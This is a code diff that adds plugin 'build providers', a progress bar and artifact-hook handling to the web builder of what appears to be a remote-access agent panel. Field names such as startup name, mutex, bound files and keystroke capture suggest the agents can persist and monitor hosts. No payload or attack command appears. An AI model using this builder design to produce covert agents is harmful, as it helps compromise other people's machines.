renderBuildProviders();
|
||||||
try {
|
try {
|
||||||
const raw = localStorage.getItem(BUILD_SETTINGS_KEY);
|
const raw = localStorage.getItem(BUILD_SETTINGS_KEY);
|
||||||
if (raw) applyBuildPluginSettings(JSON.parse(raw).buildPlugins);
|
if (raw) {
|
||||||
|
const saved = JSON.parse(raw);
|
||||||
|
applyBuildPluginSettings(saved.buildPlugins);
|
||||||
|
if (buildProviderSelect && typeof saved.buildProvider === "string") {
|
||||||
|
buildProviderSelect.value = saved.buildProvider;
|
||||||
|
updateBuildProviderUi();
|
||||||
|
}
|
||||||
|
}
|
||||||
} catch {}
|
} catch {}
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
console.warn("Failed to load build plugins:", err);
|
console.warn("Failed to load build plugins:", err);
|
||||||
@@ -751,6 +834,7 @@ const BUILD_SETTINGS_KEY = "overlord_build_settings";
|
|||||||
|
|
||||||
function collectFormSettings() {
|
function collectFormSettings() {
|
||||||
return {
|
return {
|
||||||
|
buildProvider: buildProviderSelect?.value || "",
|
||||||
platforms: Array.from(document.querySelectorAll('input[name="platform"]')).map((el) => ({ value: el.value, checked: el.checked })),
|
platforms: Array.from(document.querySelectorAll('input[name="platform"]')).map((el) => ({ value: el.value, checked: el.checked })),
|
||||||
serverUrl: document.getElementById("server-url")?.value ?? "",
|
serverUrl: document.getElementById("server-url")?.value ?? "",
|
||||||
rawServerList: document.getElementById("raw-server-list")?.checked ?? false,
|
rawServerList: document.getElementById("raw-server-list")?.checked ?? false,
|
||||||
@@ -819,6 +903,11 @@ function applyFormSettings(settings) {
|
|||||||
if (el && val !== undefined) el.checked = !!val;
|
if (el && val !== undefined) el.checked = !!val;
|
||||||
};
|
};
|
||||||
|
|
||||||
|
if (settings.buildProvider !== undefined && buildProviderSelect) {
|
||||||
|
buildProviderSelect.value = String(settings.buildProvider || "");
|
||||||
|
updateBuildProviderUi();
|
||||||
|
}
|
||||||
|
|
||||||
if (Array.isArray(settings.platforms)) {
|
if (Array.isArray(settings.platforms)) {
|
||||||
settings.platforms.forEach(({ value, checked }) => {
|
settings.platforms.forEach(({ value, checked }) => {
|
||||||
const el = document.querySelector(`input[name="platform"][value="${value}"]`);
|
const el = document.querySelector(`input[name="platform"][value="${value}"]`);
|
||||||
@@ -2025,7 +2114,7 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
if (isBuilding) return;
|
if (isBuilding) return;
|
||||||
|
|
||||||
const platformCheckboxes = form.querySelectorAll(
|
const platformCheckboxes = form.querySelectorAll(
|
||||||
'input[name="platform"]:checked',
|
'input[name="platform"]:checked:not(:disabled)',
|
||||||
);
|
);
|
||||||
const platforms = Array.from(platformCheckboxes).map((cb) => cb.value);
|
const platforms = Array.from(platformCheckboxes).map((cb) => cb.value);
|
||||||
|
|
||||||
@@ -2034,12 +2123,12 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (!validateStartupName()) {
|
if (!buildProviderSelect?.value && !validateStartupName()) {
|
||||||
document.getElementById("startup-name")?.focus();
|
document.getElementById("startup-name")?.focus();
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
if (disableCgoInput?.checked && !confirm(
|
if (!buildProviderSelect?.value && disableCgoInput?.checked && !confirm(
|
||||||
"CGO is disabled. Native features such as voice/audio, macOS keystroke capture and permission checks, native Linux/macOS plugins, and Windows GPU encoder integrations may not work.\n\nContinue with a limited CGO-disabled build?"
|
"CGO is disabled. Native features such as voice/audio, macOS keystroke capture and permission checks, native Linux/macOS plugins, and Windows GPU encoder integrations may not work.\n\nContinue with a limited CGO-disabled build?"
|
||||||
)) {
|
)) {
|
||||||
disableCgoInput.focus();
|
disableCgoInput.focus();
|
||||||
@@ -2108,6 +2197,7 @@ form?.addEventListener("submit", async (e) => {
|
|||||||
|
|
||||||
const buildConfig = {
|
const buildConfig = {
|
||||||
platforms,
|
platforms,
|
||||||
|
buildProvider: buildProviderSelect?.value || undefined,
|
||||||
serverUrl: serverUrl || undefined,
|
serverUrl: serverUrl || undefined,
|
||||||
rawServerList,
|
rawServerList,
|
||||||
solMemo: document.getElementById("sol-memo")?.checked || false,
|
solMemo: document.getElementById("sol-memo")?.checked || false,
|
||||||
@@ -2235,6 +2325,7 @@ async function startBuild(config) {
|
|||||||
|
|
||||||
revealElement(buildStatus, { duration: 220, offset: 6 });
|
revealElement(buildStatus, { duration: 220, offset: 6 });
|
||||||
buildStatusText.textContent = "Starting build...";
|
buildStatusText.textContent = "Starting build...";
|
||||||
|
updateBuildProgress(null);
|
||||||
buildStatus.querySelector("div").className =
|
buildStatus.querySelector("div").className =
|
||||||
"flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60";
|
"flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60";
|
||||||
buildStatus.querySelector("i").className = "fa-solid fa-spinner fa-spin";
|
buildStatus.querySelector("i").className = "fa-solid fa-spinner fa-spin";
|
||||||
@@ -2277,13 +2368,14 @@ async function startBuild(config) {
|
|||||||
await streamBuildOutput(buildId, config);
|
await streamBuildOutput(buildId, config);
|
||||||
} catch (err) {
|
} catch (err) {
|
||||||
addBuildOutput(`\nERROR: ${err.message}\n`, "error");
|
addBuildOutput(`\nERROR: ${err.message}\n`, "error");
|
||||||
if (!config.disableCgo) {
|
if (!config.buildProvider && !config.disableCgo) {
|
||||||
addBuildOutput(
|
addBuildOutput(
|
||||||
"Hint: This build used CGO. If it keeps failing, try enabling the 'Disable CGO' option and build again.\n",
|
"Hint: This build used CGO. If it keeps failing, try enabling the 'Disable CGO' option and build again.\n",
|
||||||
"warn",
|
"warn",
|
||||||
);
|
);
|
||||||
}
|
}
|
||||||
buildStatusText.textContent = "Build failed";
|
buildStatusText.textContent = "Build failed";
|
||||||
|
updateBuildProgress(null);
|
||||||
buildStatus.querySelector("div").className =
|
buildStatus.querySelector("div").className =
|
||||||
"flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60";
|
"flex items-center gap-2 p-3 rounded-lg bg-red-900/40 border border-red-700/60";
|
||||||
buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark";
|
buildStatus.querySelector("i").className = "fa-solid fa-circle-xmark";
|
||||||
@@ -2429,6 +2521,7 @@ async function streamBuildOutput(buildId, config = {}) {
|
|||||||
addBuildOutput(data.text, data.level || "info");
|
addBuildOutput(data.text, data.level || "info");
|
||||||
} else if (data.type === "status") {
|
} else if (data.type === "status") {
|
||||||
buildStatusText.textContent = data.text;
|
buildStatusText.textContent = data.text;
|
||||||
|
updateBuildProgress(data.progress);
|
||||||
} else if (data.type === "file_share_uploaded") {
|
} else if (data.type === "file_share_uploaded") {
|
||||||
uploadedShareFiles.push({
|
uploadedShareFiles.push({
|
||||||
id: data.id,
|
id: data.id,
|
||||||
@@ -2437,6 +2530,7 @@ async function streamBuildOutput(buildId, config = {}) {
|
|||||||
size: data.size,
|
size: data.size,
|
||||||
});
|
});
|
||||||
} else if (data.type === "complete") {
|
} else if (data.type === "complete") {
|
||||||
|
updateBuildProgress(data.success ? 100 : null);
|
||||||
buildStatusText.textContent = data.success
|
buildStatusText.textContent = data.success
|
||||||
? "Build completed successfully!"
|
? "Build completed successfully!"
|
||||||
: "Build failed";
|
: "Build failed";
|
||||||
|
|||||||
@@ -443,6 +443,21 @@
|
|||||||
</div>
|
</div>
|
||||||
<input type="file" id="profile-import-file" accept="application/json,.json" class="hidden" />
|
<input type="file" id="profile-import-file" accept="application/json,.json" class="hidden" />
|
||||||
|
|
||||||
|
<div class="border border-slate-800 rounded-lg bg-slate-900/40 p-4" data-builder-panel="target">
|
||||||
|
<label for="build-provider" class="flex flex-col gap-2">
|
||||||
|
<span class="text-sm font-medium text-slate-200 flex items-center gap-2">
|
||||||
|
<i class="fa-solid fa-cubes text-fuchsia-400"></i> Agent Type
|
||||||
|
</span>
|
||||||
|
<select id="build-provider"
|
||||||
|
class="w-full px-3 py-2 bg-slate-800/70 border border-slate-700 rounded-lg text-sm focus:outline-none focus:border-fuchsia-500 transition-colors">
|
||||||
|
<option value="">Full Go Agent</option>
|
||||||
|
</select>
|
||||||
|
<span id="build-provider-description" class="text-xs text-slate-500">
|
||||||
|
Uses the built-in full-featured Go client builder.
|
||||||
|
</span>
|
||||||
|
</label>
|
||||||
|
</div>
|
||||||
|
|
||||||
<!-- == Section 1: Target Platforms (open) == -->
|
<!-- == Section 1: Target Platforms (open) == -->
|
||||||
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="true" data-builder-panel="target">
|
<div class="accordion-section border border-slate-800 rounded-lg overflow-hidden" data-open="true" data-builder-panel="target">
|
||||||
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
|
<button type="button" class="accordion-header w-full flex items-center justify-between px-4 py-3 bg-slate-800/50 hover:bg-slate-800/80 transition-colors text-left">
|
||||||
@@ -1322,7 +1337,12 @@
|
|||||||
<div id="build-status" class="mb-4 hidden">
|
<div id="build-status" class="mb-4 hidden">
|
||||||
<div class="flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60">
|
<div class="flex items-center gap-2 p-3 rounded-lg bg-blue-900/40 border border-blue-700/60">
|
||||||
<i class="fa-solid fa-spinner fa-spin"></i>
|
<i class="fa-solid fa-spinner fa-spin"></i>
|
||||||
<span id="build-status-text">Building...</span>
|
<div class="min-w-0 flex-1">
|
||||||
|
<span id="build-status-text">Building...</span>
|
||||||
|
<div id="build-progress-track" class="hidden mt-2 h-2 overflow-hidden rounded-full bg-slate-950/70" role="progressbar" aria-valuemin="0" aria-valuemax="100">
|
||||||
|
<div id="build-progress-bar" class="h-full w-0 rounded-full bg-blue-400 transition-[width] duration-500"></div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
|
|||||||
@@ -11,6 +11,8 @@ export type BuildStream = {
|
|||||||
|
|
||||||
export type BuildConfig = {
|
export type BuildConfig = {
|
||||||
platforms: string[];
|
platforms: string[];
|
||||||
|
buildProvider?: string;
|
||||||
|
buildPlugins?: Record<string, { enabled: boolean; settings: Record<string, unknown> }>;
|
||||||
serverUrl?: string;
|
serverUrl?: string;
|
||||||
rawServerList?: boolean;
|
rawServerList?: boolean;
|
||||||
mutex?: string;
|
mutex?: string;
|
||||||
|
|||||||
@@ -247,6 +247,10 @@ const WINRE_ROOT = path.join(DATA_DIR, "winre");
|
|||||||
const FILE_SHARE_ROOT = path.join(DATA_DIR, "file-share");
|
const FILE_SHARE_ROOT = path.join(DATA_DIR, "file-share");
|
||||||
|
|
||||||
function resolvePluginWorkerHostUrl(): string {
|
function resolvePluginWorkerHostUrl(): string {
|
||||||
|
const currentModulePath = fileURLToPath(import.meta.url);
|
||||||
|
if (currentModulePath.endsWith(`${path.sep}src${path.sep}main-server.ts`)) {
|
||||||
|
return new URL("./server/plugin-runtime/worker-host.ts", import.meta.url).href;
|
||||||
|
}
|
||||||
const builtWorker = path.join(RUNTIME_ROOT, "dist", "server", "plugin-runtime", "worker-host.js");
|
const builtWorker = path.join(RUNTIME_ROOT, "dist", "server", "plugin-runtime", "worker-host.js");
|
||||||
if (existsSync(builtWorker)) {
|
if (existsSync(builtWorker)) {
|
||||||
return pathToFileURL(builtWorker).href;
|
return pathToFileURL(builtWorker).href;
|
||||||
@@ -311,6 +315,8 @@ const startBuildProcess = (buildId: string, buildConfig: any) =>
|
|||||||
sanitizeOutputName,
|
sanitizeOutputName,
|
||||||
fileShareRoot: FILE_SHARE_ROOT,
|
fileShareRoot: FILE_SHARE_ROOT,
|
||||||
runBuildHookForAll: (hook, payload) => pluginRuntime.runBuildHookForAll(hook, payload),
|
runBuildHookForAll: (hook, payload) => pluginRuntime.runBuildHookForAll(hook, payload),
|
||||||
|
runBuildProvider: (pluginId, payload, onOutput) =>
|
||||||
|
pluginRuntime.runBuildProvider(pluginId, payload, onOutput),
|
||||||
});
|
});
|
||||||
|
|
||||||
const pendingHttpDownloads = new Map<string, PendingHttpDownload>();
|
const pendingHttpDownloads = new Map<string, PendingHttpDownload>();
|
||||||
|
|||||||
@@ -394,11 +394,19 @@ export type PluginBuildIntegration = {
|
|||||||
enabledByDefault?: boolean;
|
enabledByDefault?: boolean;
|
||||||
label?: string;
|
label?: string;
|
||||||
description?: string;
|
description?: string;
|
||||||
|
provider?: PluginBuildProvider;
|
||||||
settings?: PluginBuildSetting[];
|
settings?: PluginBuildSetting[];
|
||||||
actions?: PluginBuildAction[];
|
actions?: PluginBuildAction[];
|
||||||
requires?: PluginBuildRequirement[];
|
requires?: PluginBuildRequirement[];
|
||||||
};
|
};
|
||||||
|
|
||||||
|
export type PluginBuildProvider = {
|
||||||
|
label?: string;
|
||||||
|
description?: string;
|
||||||
|
icon?: string;
|
||||||
|
platforms: string[];
|
||||||
|
};
|
||||||
|
|
||||||
export type PluginBuildSetting = {
|
export type PluginBuildSetting = {
|
||||||
key: string;
|
key: string;
|
||||||
label?: string;
|
label?: string;
|
||||||
|
|||||||
@@ -25,6 +25,8 @@ import { resolveContainedPath } from "./upload-security";
|
|||||||
import { createIsolatedBuildEnv } from "./build-environment";
|
import { createIsolatedBuildEnv } from "./build-environment";
|
||||||
import { cleanupMacosSdkUpload, extractAndValidateMacosSdk } from "./macos-sdk-manager";
|
import { cleanupMacosSdkUpload, extractAndValidateMacosSdk } from "./macos-sdk-manager";
|
||||||
import { getActiveTlsSpkiPins } from "./tls-bootstrap";
|
import { getActiveTlsSpkiPins } from "./tls-bootstrap";
|
||||||
|
import { installProviderArtifacts, providerStagingDirectory } from "./plugin-build-provider";
|
||||||
|
import type { PluginBuildProviderOutput } from "./plugin-runtime/runtime";
|
||||||
|
|
||||||
export function createAgentTlsPinsLdflag(pins: string[]): string {
|
export function createAgentTlsPinsLdflag(pins: string[]): string {
|
||||||
if (pins.length === 0) return "";
|
if (pins.length === 0) return "";
|
||||||
@@ -95,6 +97,7 @@ type BoundFile = {
|
|||||||
|
|
||||||
type BuildProcessConfig = {
|
type BuildProcessConfig = {
|
||||||
platforms: string[];
|
platforms: string[];
|
||||||
|
buildProvider?: string;
|
||||||
serverUrl?: string;
|
serverUrl?: string;
|
||||||
rawServerList?: boolean;
|
rawServerList?: boolean;
|
||||||
mutex?: string;
|
mutex?: string;
|
||||||
@@ -287,6 +290,11 @@ type BuildProcessDeps = {
|
|||||||
sanitizeOutputName: (name: string) => string;
|
sanitizeOutputName: (name: string) => string;
|
||||||
fileShareRoot?: string;
|
fileShareRoot?: string;
|
||||||
runBuildHookForAll?: BuildHookRunner;
|
runBuildHookForAll?: BuildHookRunner;
|
||||||
|
runBuildProvider?: (
|
||||||
|
pluginId: string,
|
||||||
|
payload: unknown,
|
||||||
|
onOutput: (output: PluginBuildProviderOutput) => void,
|
||||||
|
) => Promise<unknown>;
|
||||||
};
|
};
|
||||||
|
|
||||||
function guessMimeTypeForUpload(filename: string): string {
|
function guessMimeTypeForUpload(filename: string): string {
|
||||||
@@ -614,12 +622,76 @@ export async function startBuildProcess(
|
|||||||
}
|
}
|
||||||
};
|
};
|
||||||
|
|
||||||
|
const finishSuccessfulBuild = async (outDir: string, buildTag?: string) => {
|
||||||
|
build.status = "completed";
|
||||||
|
logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
|
||||||
|
sendToStream({ type: "output", text: `\n[OK] Build completed successfully!\n`, level: "success" });
|
||||||
|
|
||||||
|
if (config.uploadToFileShare && config.builtByUserId && deps.fileShareRoot) {
|
||||||
|
try {
|
||||||
|
await uploadBuildFilesToFileShare(
|
||||||
|
build,
|
||||||
|
outDir,
|
||||||
|
deps.fileShareRoot,
|
||||||
|
config.builtByUserId,
|
||||||
|
sendToStream,
|
||||||
|
);
|
||||||
|
} catch (uploadErr: any) {
|
||||||
|
sendToStream({
|
||||||
|
type: "output",
|
||||||
|
text: `WARNING: File-share upload failed: ${uploadErr.message || uploadErr}\n`,
|
||||||
|
level: "warn",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
} else if (config.uploadToFileShare && !deps.fileShareRoot) {
|
||||||
|
sendToStream({
|
||||||
|
type: "output",
|
||||||
|
text: "WARNING: File-share upload requested but file share is not configured on this server.\n",
|
||||||
|
level: "warn",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
await runBuildHooks(
|
||||||
|
deps.runBuildHookForAll,
|
||||||
|
"complete",
|
||||||
|
{
|
||||||
|
buildId,
|
||||||
|
status: build.status,
|
||||||
|
files: build.files,
|
||||||
|
outputDir: outDir,
|
||||||
|
expiresAt: build.expiresAt,
|
||||||
|
userId: config.builtByUserId,
|
||||||
|
config,
|
||||||
|
},
|
||||||
|
sendToStream,
|
||||||
|
);
|
||||||
|
|
||||||
|
sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
|
||||||
|
|
||||||
|
saveBuild({
|
||||||
|
id: build.id,
|
||||||
|
status: build.status,
|
||||||
|
startTime: build.startTime,
|
||||||
|
expiresAt: build.expiresAt,
|
||||||
|
files: build.files as any,
|
||||||
|
buildTag,
|
||||||
|
builtByUserId: config.builtByUserId,
|
||||||
|
initialClientTag: config.initialClientTag,
|
||||||
|
});
|
||||||
|
|
||||||
|
setTimeout(() => {
|
||||||
|
logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up expired build`);
|
||||||
|
buildManager.deleteBuildStream(buildId);
|
||||||
|
}, SEVEN_DAYS_MS);
|
||||||
|
};
|
||||||
|
|
||||||
let winresTempDir: string | null = null;
|
let winresTempDir: string | null = null;
|
||||||
const generatedSysoFiles: string[] = [];
|
const generatedSysoFiles: string[] = [];
|
||||||
let binderGenPath: string | null = null;
|
let binderGenPath: string | null = null;
|
||||||
let binderFilesDir: string | null = null;
|
let binderFilesDir: string | null = null;
|
||||||
let binderLockPath: string | null = null;
|
let binderLockPath: string | null = null;
|
||||||
let macosSdkRoot: string | null = null;
|
let macosSdkRoot: string | null = null;
|
||||||
|
let providerStagingDir: string | null = null;
|
||||||
|
|
||||||
const buildStartedAt = Date.now();
|
const buildStartedAt = Date.now();
|
||||||
const keepAliveTimer = setInterval(() => {
|
const keepAliveTimer = setInterval(() => {
|
||||||
@@ -654,6 +726,136 @@ export async function startBuildProcess(
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const rootDir = resolveRuntimeRoot();
|
||||||
|
const outDir = path.join(rootDir, "dist-clients");
|
||||||
|
|
||||||
|
if (config.buildProvider) {
|
||||||
|
if (!deps.runBuildProvider) {
|
||||||
|
throw new Error("Plugin build providers are not available");
|
||||||
|
}
|
||||||
|
const buildTag = await signBuildToken({
|
||||||
|
v: 1,
|
||||||
|
bid: buildId,
|
||||||
|
uid: config.builtByUserId ?? null,
|
||||||
|
iat: Math.floor(Date.now() / 1000),
|
||||||
|
});
|
||||||
|
providerStagingDir = providerStagingDirectory(rootDir, buildId);
|
||||||
|
fs.rmSync(providerStagingDir, { recursive: true, force: true });
|
||||||
|
fs.mkdirSync(providerStagingDir, { recursive: true });
|
||||||
|
fs.mkdirSync(outDir, { recursive: true });
|
||||||
|
|
||||||
|
sendToStream({ type: "status", text: `Starting ${config.buildProvider} build provider...` });
|
||||||
|
sendToStream({
|
||||||
|
type: "output",
|
||||||
|
text: `Build provider: ${config.buildProvider}\n`,
|
||||||
|
level: "info",
|
||||||
|
});
|
||||||
|
const providerResult = await deps.runBuildProvider(
|
||||||
|
config.buildProvider,
|
||||||
|
{
|
||||||
|
buildId,
|
||||||
|
providerId: config.buildProvider,
|
||||||
|
runtimeRoot: rootDir,
|
||||||
|
outputDir: providerStagingDir,
|
||||||
|
platforms: config.platforms,
|
||||||
|
serverUrl: config.serverUrl,
|
||||||
|
agentToken: buildAgentToken,
|
||||||
|
buildTag,
|
||||||
|
tlsSpkiPins: buildTlsSpkiPins,
|
||||||
|
initialClientTag: config.initialClientTag,
|
||||||
|
outputName: config.outputName,
|
||||||
|
settings: config.buildPlugins?.[config.buildProvider]?.settings || {},
|
||||||
|
config,
|
||||||
|
},
|
||||||
|
(output) => {
|
||||||
|
const text = String(output.text || "").slice(0, 64 * 1024);
|
||||||
|
if (!text) return;
|
||||||
|
if (output.event === "status") {
|
||||||
|
const progress = Number.isFinite(output.progress)
|
||||||
|
? Math.max(0, Math.min(100, Number(output.progress)))
|
||||||
|
: undefined;
|
||||||
|
const etaSeconds = Number.isFinite(output.etaSeconds)
|
||||||
|
? Math.max(0, Math.min(7 * 24 * 60 * 60, Math.round(Number(output.etaSeconds))))
|
||||||
|
: undefined;
|
||||||
|
sendToStream({ type: "status", text, progress, etaSeconds });
|
||||||
|
} else {
|
||||||
|
sendToStream({
|
||||||
|
type: "output",
|
||||||
|
text: text.endsWith("\n") ? text : `${text}\n`,
|
||||||
|
level: output.level || "info",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
},
|
||||||
|
);
|
||||||
|
|
||||||
|
const providerFiles = installProviderArtifacts({
|
||||||
|
result: providerResult,
|
||||||
|
stagingDir: providerStagingDir,
|
||||||
|
outputDir: outDir,
|
||||||
|
buildId,
|
||||||
|
requestedPlatforms: config.platforms,
|
||||||
|
sanitizeOutputName: deps.sanitizeOutputName,
|
||||||
|
});
|
||||||
|
|
||||||
|
for (const installed of providerFiles) {
|
||||||
|
let finalFile = { ...installed };
|
||||||
|
const extraFiles: any[] = [];
|
||||||
|
const artifactPayload = {
|
||||||
|
buildId,
|
||||||
|
providerId: config.buildProvider,
|
||||||
|
platform: finalFile.platform,
|
||||||
|
outDir,
|
||||||
|
file: {
|
||||||
|
...finalFile,
|
||||||
|
path: path.join(outDir, finalFile.filename),
|
||||||
|
},
|
||||||
|
files: cloneForHook(build.files),
|
||||||
|
config,
|
||||||
|
};
|
||||||
|
for (const item of await runBuildHooks(deps.runBuildHookForAll, "artifact", artifactPayload, sendToStream)) {
|
||||||
|
if (!isRecord(item.result)) continue;
|
||||||
|
const replacement = isRecord(item.result.file) ? item.result.file : item.result;
|
||||||
|
if (typeof replacement.filename === "string" && replacement.filename.trim()) {
|
||||||
|
const safeFilename = deps.sanitizeOutputName(path.basename(replacement.filename.trim()));
|
||||||
|
const candidatePath = resolveContainedPath(outDir, safeFilename);
|
||||||
|
if (fs.existsSync(candidatePath)) {
|
||||||
|
finalFile = {
|
||||||
|
...finalFile,
|
||||||
|
filename: safeFilename,
|
||||||
|
size: fs.statSync(candidatePath).size,
|
||||||
|
};
|
||||||
|
} else {
|
||||||
|
sendToStream({
|
||||||
|
type: "output",
|
||||||
|
text: `[plugin:${item.pluginId}] WARNING: artifact hook returned missing file ${safeFilename}; keeping ${finalFile.filename}\n`,
|
||||||
|
level: "warn",
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (Array.isArray(item.result.files)) {
|
||||||
|
for (const rawFile of item.result.files) {
|
||||||
|
if (!isRecord(rawFile) || typeof rawFile.filename !== "string" || !rawFile.filename.trim()) continue;
|
||||||
|
const safeFilename = deps.sanitizeOutputName(path.basename(rawFile.filename.trim()));
|
||||||
|
const candidatePath = resolveContainedPath(outDir, safeFilename);
|
||||||
|
if (!fs.existsSync(candidatePath)) continue;
|
||||||
|
const stat = fs.statSync(candidatePath);
|
||||||
|
extraFiles.push({
|
||||||
|
name: typeof rawFile.name === "string" && rawFile.name.trim() ? rawFile.name.trim() : safeFilename,
|
||||||
|
filename: safeFilename,
|
||||||
|
platform: typeof rawFile.platform === "string" ? rawFile.platform : finalFile.platform,
|
||||||
|
version: typeof rawFile.version === "string" ? rawFile.version : finalFile.version,
|
||||||
|
size: stat.size,
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
(build.files as any[]).push(finalFile, ...extraFiles);
|
||||||
|
}
|
||||||
|
|
||||||
|
await finishSuccessfulBuild(outDir, buildTag);
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
sendToStream({ type: "status", text: "Preparing build environment..." });
|
sendToStream({ type: "status", text: "Preparing build environment..." });
|
||||||
|
|
||||||
try {
|
try {
|
||||||
@@ -671,7 +873,6 @@ export async function startBuildProcess(
|
|||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
const rootDir = resolveRuntimeRoot();
|
|
||||||
const clientDir = resolveClientModuleDir(rootDir);
|
const clientDir = resolveClientModuleDir(rootDir);
|
||||||
if (!clientDir) {
|
if (!clientDir) {
|
||||||
throw new Error(
|
throw new Error(
|
||||||
@@ -679,7 +880,6 @@ export async function startBuildProcess(
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
const agentVersion = detectAgentVersion(clientDir);
|
const agentVersion = detectAgentVersion(clientDir);
|
||||||
const outDir = path.join(rootDir, "dist-clients");
|
|
||||||
const cacheRoot = resolveClientBuildCacheRoot();
|
const cacheRoot = resolveClientBuildCacheRoot();
|
||||||
const goBuildCacheDir = path.join(cacheRoot, "go-build");
|
const goBuildCacheDir = path.join(cacheRoot, "go-build");
|
||||||
const goModCacheDir = path.join(cacheRoot, "go-mod");
|
const goModCacheDir = path.join(cacheRoot, "go-mod");
|
||||||
@@ -2230,66 +2430,7 @@ func runBoundFiles() {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
build.status = "completed";
|
await finishSuccessfulBuild(outDir, buildTag);
|
||||||
logger.info(`[build:${buildId.substring(0, 8)}] Build completed successfully! Built ${build.files.length} file(s)`);
|
|
||||||
sendToStream({ type: "output", text: `\n[OK] Build completed successfully!\n`, level: "success" });
|
|
||||||
|
|
||||||
if (config.uploadToFileShare && config.builtByUserId && deps.fileShareRoot) {
|
|
||||||
try {
|
|
||||||
await uploadBuildFilesToFileShare(
|
|
||||||
build,
|
|
||||||
outDir,
|
|
||||||
deps.fileShareRoot,
|
|
||||||
config.builtByUserId,
|
|
||||||
sendToStream,
|
|
||||||
);
|
|
||||||
} catch (uploadErr: any) {
|
|
||||||
sendToStream({
|
|
||||||
type: "output",
|
|
||||||
text: `WARNING: File-share upload failed: ${uploadErr.message || uploadErr}\n`,
|
|
||||||
level: "warn",
|
|
||||||
});
|
|
||||||
}
|
|
||||||
} else if (config.uploadToFileShare && !deps.fileShareRoot) {
|
|
||||||
sendToStream({
|
|
||||||
type: "output",
|
|
||||||
text: "WARNING: File-share upload requested but file share is not configured on this server.\n",
|
|
||||||
level: "warn",
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
await runBuildHooks(
|
|
||||||
deps.runBuildHookForAll,
|
|
||||||
"complete",
|
|
||||||
{
|
|
||||||
buildId,
|
|
||||||
status: build.status,
|
|
||||||
files: build.files,
|
|
||||||
outputDir: outDir,
|
|
||||||
expiresAt: build.expiresAt,
|
|
||||||
userId: config.builtByUserId,
|
|
||||||
config,
|
|
||||||
},
|
|
||||||
sendToStream,
|
|
||||||
);
|
|
||||||
|
|
||||||
sendToStream({ type: "complete", success: true, files: build.files, buildId, expiresAt: build.expiresAt });
|
|
||||||
|
|
||||||
saveBuild({
|
|
||||||
id: build.id,
|
|
||||||
status: build.status,
|
|
||||||
startTime: build.startTime,
|
|
||||||
expiresAt: build.expiresAt,
|
|
||||||
files: build.files as any,
|
|
||||||
buildTag,
|
|
||||||
builtByUserId: config.builtByUserId,
|
|
||||||
initialClientTag: config.initialClientTag,
|
|
||||||
});
|
|
||||||
|
|
||||||
setTimeout(() => {
|
|
||||||
logger.info(`[build:${buildId.substring(0, 8)}] Cleaning up expired build`);
|
|
||||||
buildManager.deleteBuildStream(buildId);
|
|
||||||
}, SEVEN_DAYS_MS);
|
|
||||||
} catch (err: any) {
|
} catch (err: any) {
|
||||||
build.status = "failed";
|
build.status = "failed";
|
||||||
logger.error(`[build:${buildId.substring(0, 8)}] Build failed:`, err);
|
logger.error(`[build:${buildId.substring(0, 8)}] Build failed:`, err);
|
||||||
@@ -2335,6 +2476,9 @@ func runBoundFiles() {
|
|||||||
if (binderLockPath) {
|
if (binderLockPath) {
|
||||||
try { fs.unlinkSync(binderLockPath); } catch {}
|
try { fs.unlinkSync(binderLockPath); } catch {}
|
||||||
}
|
}
|
||||||
|
if (providerStagingDir) {
|
||||||
|
try { fs.rmSync(providerStagingDir, { recursive: true, force: true }); } catch {}
|
||||||
|
}
|
||||||
cleanupMacosSdkUpload(config.macosSdkUploadDir);
|
cleanupMacosSdkUpload(config.macosSdkUploadDir);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -0,0 +1,69 @@
|
|||||||
|
import { afterEach, describe, expect, test } from "bun:test";
|
||||||
|
import { mkdtemp, mkdir, rm, writeFile } from "fs/promises";
|
||||||
|
import { tmpdir } from "os";
|
||||||
|
import { join } from "path";
|
||||||
|
import { installProviderArtifacts, providerStagingDirectory } from "./plugin-build-provider";
|
||||||
|
|
||||||
|
const roots: string[] = [];
|
||||||
|
|
||||||
|
afterEach(async () => {
|
||||||
|
await Promise.all(roots.map((root) => rm(root, { recursive: true, force: true })));
|
||||||
|
roots.length = 0;
|
||||||
|
});
|
||||||
|
|
||||||
|
async function fixture() {
|
||||||
|
const root = await mkdtemp(join(tmpdir(), "overlord-provider-test-"));
|
||||||
|
roots.push(root);
|
||||||
|
const buildId = "12345678-1234-1234-1234-123456789abc";
|
||||||
|
const stagingDir = providerStagingDirectory(root, buildId);
|
||||||
|
const outputDir = join(root, "dist-clients");
|
||||||
|
await mkdir(stagingDir, { recursive: true });
|
||||||
|
return { root, buildId, stagingDir, outputDir };
|
||||||
|
}
|
||||||
|
|
||||||
|
